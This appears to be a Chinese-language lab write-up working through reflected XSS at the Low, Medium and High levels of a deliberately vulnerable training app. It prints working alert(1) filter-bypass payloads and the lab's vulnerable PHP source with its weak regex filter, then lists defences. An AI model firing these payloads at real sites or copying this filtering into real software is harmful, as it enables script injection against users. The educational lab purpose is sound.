0x01 简介
Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
0x02 反射型xss-Low
构造<script>alert(1);</script>
语句即可成功,跟dom型xss攻击方法一样,毕竟dom型xss是特殊的反射型xss嘛。
image.png
0x03 反射型xss-Medium
跟dom型一样,<script也是被过滤了。重新构造攻击语句进行绕过吧
"></option></select><img src=a onerror="javascript:alert(1);"/>
image.png
0x04 反射型xss-High
high比medium的过滤更加严格了,来试试绕过吧
测试了<>没有被过滤掉,然后测试得知单引号'和双引号"也没有被过滤掉。
构造语句成功绕过"><img src=a onerror="alert(1);">
image.png
看看源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
0x05 防御方法
- 对输入(和URL参数)进行过滤
- 对输出进行编码
- 白名单和黑名单结合过滤